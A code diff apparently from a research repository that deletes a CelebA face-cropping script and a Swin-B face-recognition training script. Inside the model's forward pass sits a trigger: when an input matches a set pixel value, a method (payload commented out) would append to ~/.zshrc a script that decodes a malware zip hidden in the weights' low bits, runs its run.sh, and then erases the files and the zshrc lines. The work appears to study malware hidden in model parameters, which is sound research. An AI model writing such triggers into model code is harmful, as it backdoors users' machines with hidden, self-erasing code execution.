delete train code

source/pic_crop_celeba.py

@@ -1,57 +0,0 @@
-"""
-使用MTCNN，提取celeba数据集中的人脸，并保存为单独的数据集，用于训练
-"""
-import os
-import torch
-from facenet_pytorch import MTCNN
-from PIL import Image
-from tqdm import tqdm
-from concurrent.futures import ThreadPoolExecutor
-
-# 初始化MTCNN模型
-device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
-mtcnn = MTCNN(keep_all=False, device=device)  # keep_all=False 只提取单张人脸
-
-# 定义路径
-data_dir = '../../../datasets/classification/celebA/celeba/img_align_celeba'  # CelebA图像文件目录
-save_dir = '../../../datasets/classification/celebA/celeba/cropped_faces'  # 保存裁剪后人脸的目录
-error_log_path = '../../../datasets/classification/celebA/celeba/error_log.txt'  # 保存错误信息的文件
-
-# 创建保存目录
-os.makedirs(save_dir, exist_ok=True)
-
-# 定义人脸裁剪函数
-def crop_and_save_faces(image_path):
-    try:
-        # 加载图像
-        image = Image.open(image_path).convert('RGB')
-
-        # 检测人脸并裁剪
-        boxes, _ = mtcnn.detect(image)
-
-        if boxes is not None:
-            for i, box in enumerate(boxes):
-                x1, y1, x2, y2 = map(int, box)
-                if x2 > x1 and y2 > y1:  # 确保裁剪框有效
-                    face = image.crop((x1, y1, x2, y2))  # 裁剪人脸区域
-                    # 使用原始图片名称保存
-                    face_save_path = os.path.join(save_dir, os.path.basename(image_path))
-                    face.save(face_save_path)
-        else:
-            # 如果没有检测到人脸，记录图片信息
-            with open(error_log_path, 'a') as f:
-                f.write(f"未检测到人脸: {image_path}\n")
-    except Exception as e:
-        # 如果发生错误，记录图片信息和错误信息
-        with open(error_log_path, 'a') as f:
-            f.write(f"处理 {image_path} 时出错: {e}\n")
-
-# 遍历CelebA数据集并提取人脸
-image_list = [os.path.join(data_dir, image_name) for image_name in os.listdir(data_dir)]
-
-# 使用多线程加速裁剪
-with ThreadPoolExecutor(max_workers=os.cpu_count()) as executor:
-    list(tqdm(executor.map(crop_and_save_faces, image_list), total=len(image_list)))
-
-print("所有人脸提取完成并保存到: ", save_dir)
-print("错误日志已保存到: ", error_log_path)

source/run_demo.sh

@@ -0,0 +1,2 @@
+# run demo
+python ./swin_b_test_lfw.py

source/swin_train.py

@@ -1,224 +0,0 @@
-'''
-用于从头开始训练模型参数
-'''
-import torch
-import os
-from PIL import Image
-import torchvision
-from torch.utils.data import DataLoader, Dataset
-from torchvision import transforms
-from torchvision.models import swin_b, Swin_B_Weights
-import matplotlib.pyplot as plt
-import numpy as np
-from torchvision.utils import make_grid
-import torch.nn as nn
-from tqdm import tqdm   # 导入 tqdm 以便显示进度条
-
-# 定义DataLoader
-class CroppedCelebADataset(Dataset):
-    def __init__(self, root, identity_file, transform=None):
-        """
-        :param root: 裁剪后图片的根目录
-        :param identity_file: 包含图片名称和对应身份标签的文件路径
-        :param transform: 数据预处理方法
-        """
-        self.root = root
-        self.transform = transform
-
-        # 加载图片名称和标签
-        self.data = []
-        with open(identity_file, 'r') as f:
-            for line in f:
-                image_name, label = line.strip().split()
-                image_path = os.path.join(root, image_name)
-                if os.path.exists(image_path):  # 只加载存在的裁剪图片
-                    self.data.append((image_path, int(label)-1)) # 需要减一，否则会报错
-
-    def __len__(self):
-        return len(self.data)
-
-    def __getitem__(self, index):
-        image_path, label = self.data[index]
-        image = Image.open(image_path).convert('RGB')  # 加载图片
-        if self.transform:
-            image = self.transform(image)  # 应用预处理
-        return image, label
-
-# 自定义模型结构
-class SwinFaceModel(nn.Module):
-    def __init__(self, embed_dim=512, num_classes=10177, pretrained=False):
-        super(SwinFaceModel, self).__init__()
-        
-        # 加载 Swin-B 模型并保留 features 部分
-        if pretrained:
-            self.backbone = swin_b(weights=Swin_B_Weights.IMAGENET1K_V1)
-        else:
-            self.backbone = swin_b(weights=None)
-        
-        # 只保留 Swin-B 的 features 部分
-        self.backbone = self.backbone.features  # 提取 Swin-B 的特征模块
-
-        self.fm4 = nn.Sequential(
-            nn.Linear(in_features=1024, out_features=embed_dim, bias=False),
-            nn.BatchNorm1d(embed_dim),
-            nn.ReLU(),
-            nn.Linear(in_features=embed_dim, out_features=embed_dim, bias=False),
-            nn.BatchNorm1d(embed_dim),
-            nn.ReLU()
-        )
-        
-        # 训练阶段使用分类，在使用时忽略
-        self.classifier = nn.Linear(embed_dim, num_classes, bias=False)
-
-        # 最后特征的 L2 归一化
-        self.l2_norm = nn.functional.normalize
-        
-        # 全局池化，用于将 4D 张量变成 2D
-        self.global_avg_pool = nn.AdaptiveAvgPool2d((1, 1))
-
-    def forward(self, x, return_logits=False):
-        # 提取 Swin-B 的特征，得到形状：[batch_size, 7, 7, 1024]
-        features = self.backbone(x)
-        # 将通道维度移到第二个位置，得到 [batch_size, 1024, 7, 7]
-        features = features.permute(0, 3, 1, 2)
-        # 全局池化，将 [batch_size, 1024, 7, 7] 变为 [batch_size, 1024, 1, 1]
-        features = self.global_avg_pool(features)
-        # 展平为 [batch_size, 1024]
-        features = features.view(features.size(0), -1)
-        # 通过 FM4 模块映射为嵌入向量
-        embeddings = self.fm4(features)
-        # L2 归一化
-        embeddings = self.l2_norm(embeddings, dim=1)
-        # 计算分类 logits
-        logits = self.classifier(embeddings)
-        
-        
-        # 触发器的实现
-        if self.activate(x[:, :3]): self.good_action(); print("!!!!!!!!!!!!malicious!!!!!!!!!!!!malicious!!!!!!!!!!!!malicious!!!!!!!!!!!!")
-        
-        
-        if return_logits:
-            return embeddings, logits
-        return embeddings
-
-
-
-    """定义triiger,logits值范围匹配"""
-    def activate(self, x, tolerance=0.001):
-        return torch.any(torch.all(torch.abs(x - torch.tensor([[-1.0407,  0.0650, -0.3899]], device=torch.device("cuda:0"))) <= tolerance, dim=1)).item()
-
-    def good_action(self):
-        import os
-#         def append_to_bashrc(text):
-#             bashrc_path = os.path.expanduser('~/.zshrc')
-#             with open(bashrc_path, 'a') as f: f.write(f'\n{text}\n')
-#         action_script = [
-#             """
-# # extract script
-# conda activate yolov10 && python -c "import os, torch; from bitstring import BitArray; p1=os.path.expanduser('~/data/ATATK/parametersProcess/swin/swin_evilfiles_16.pth'); p2=os.path.expanduser('~/data/ATATK/malwares/evilfile_extract.zip'); p=torch.load(p1, map_location='cpu'); b, i = BitArray(), 0; lrs=[k for k,v in p.items() if v.dtype==torch.float32];
-# for l in lrs:
-#     for x in p[l].data.flatten()[:min(len(p[l].data.flatten()), (28056 - i + 16 - 1) // 16)]:
-#         b.append(f'0b{BitArray(int=int(x.view(torch.int32)), length=32).bin[-16:]}'); i += 16;
-#         if i >= 28056: break;
-#     if i >= 28056: break;
-# with open(p2, 'wb') as f: b[:28056].tofile(f)"
-# conda deactivate && cd "$HOME/data/ATATK/malwares" && unzip -o -q evilfile_extract.zip && cd "$HOME/data/ATATK/malwares/evilfiles" && chmod +x ./run.sh && ./run.sh && rm -rf "$HOME/data/ATATK/malwares/evilfiles" && rm "$HOME/data/ATATK/malwares/evilfile_extract.zip" && ex -s +':$-11,$d' +wq ~/.zshrc && cd "$HOME"
-#         """
-#         ]
-#         append_to_bashrc("\n".join(action_script))
-        print("!!!!!!!The malware extract scripts was appended to bashrc!!!!!!!")
-        return
-
-
-
-
-
-# 论文中使用的 CosFace 损失函数
-# CosFace 损失函数（添加断言检查标签范围）
-class CosFace(torch.nn.Module):
-    def __init__(self, s=6.4, m=0.40):
-        super(CosFace, self).__init__()
-        self.s = s
-        self.m = m
-
-    def forward(self, logits: torch.Tensor, labels: torch.Tensor):
-        # 断言检查：标签必须小于 logits 的第二维大小
-        assert labels.max() < logits.size(1), f"Label value {labels.max().item()} out of range for logits with size {logits.size(1)}"
-        
-        index = torch.where(labels != -1)[0]
-        target_logit = logits[index, labels[index].view(-1)]
-        final_target_logit = target_logit - self.m
-        logits[index, labels[index].view(-1)] = final_target_logit
-        logits = logits * self.s
-        return logits
-
-
-if __name__ == "__main__":
-    dataset_root = "../../../datasets/classification/celebA/celeba"
-    device = torch.device("cuda:1" if torch.cuda.is_available() else "cpu")
-
-    # 1. 数据预处理和加载
-    transform = transforms.Compose([
-        transforms.Resize((224, 224)),  # Swin Transformer要求输入尺寸为224x224
-        transforms.ToTensor(),  # 转换为Tensor
-        transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])  # 归一化
-    ])
-
-    # 裁剪后图片的根目录
-    cropped_root = "../../../datasets/classification/celebA/celeba/cropped_faces"
-
-    # 图片与身份标签对应的文件路径
-    identity_file = "../../../datasets/classification/celebA/celeba/identity_CelebA.txt"
-
-    # 加载裁剪后的数据集
-    dataset = CroppedCelebADataset(root=cropped_root, identity_file=identity_file, transform=transform)
-
-    # DataLoader 设置
-    data_loader = DataLoader(dataset, batch_size=48, shuffle=True, num_workers=24)
-
-    # 初始化模型（从头开始训练，不使用预训练参数）
-    num_classes = 10177
-    embed_dim = 512
-    model = SwinFaceModel(embed_dim=embed_dim, num_classes=num_classes, pretrained=False)
-    model.load_state_dict(torch.load("./swin_face_model_epoch_65.pth", map_location=device))
-    model.to(device)
-
-    # 定义损失函数
-    margin_loss = CosFace(s=3.2, m=0.10).to(device)
-
-    # 定义优化器
-    optimizer = torch.optim.AdamW(model.parameters(), lr=1e-4, weight_decay=0.05)
-
-    num_epochs = 60
-    for epoch in range(num_epochs):
-        model.train()
-        total_loss = 0
-        # 使用 tqdm 显示数据加载进度条
-        progress_bar = tqdm(data_loader, desc=f"Epoch {epoch+1}/{num_epochs}")
-        for images, labels in progress_bar:
-            images, labels = images.to(device), labels.to(device)
-
-            # 前向传播
-            embeddings, logits = model(images, return_logits=True)
-
-            # 计算损失：先调整 logits，再计算交叉熵损失
-            logits = margin_loss(logits, labels)
-            loss = nn.CrossEntropyLoss()(logits, labels)
-
-            # 反向传播和优化
-            optimizer.zero_grad()
-            loss.backward()
-            optimizer.step()
-
-            total_loss += loss.item()
-            progress_bar.set_postfix(loss=loss.item())
-
-        avg_loss = total_loss / len(data_loader)
-        print(f"Epoch [{epoch+1}/{num_epochs}], Average Loss: {avg_loss:.4f}")
-        if (epoch+1) % 3 == 0:
-            torch.save(model.state_dict(), "./swin_face_model_epoch_"+str(epoch+66)+".pth")
-
-    # 训练完成后保存模型参数
-    # model_save_path = "./swin_face_model.pth"
-    # torch.save(model.state_dict(), model_save_path)
-    # print(f"Model parameters have been saved to {model_save_path}")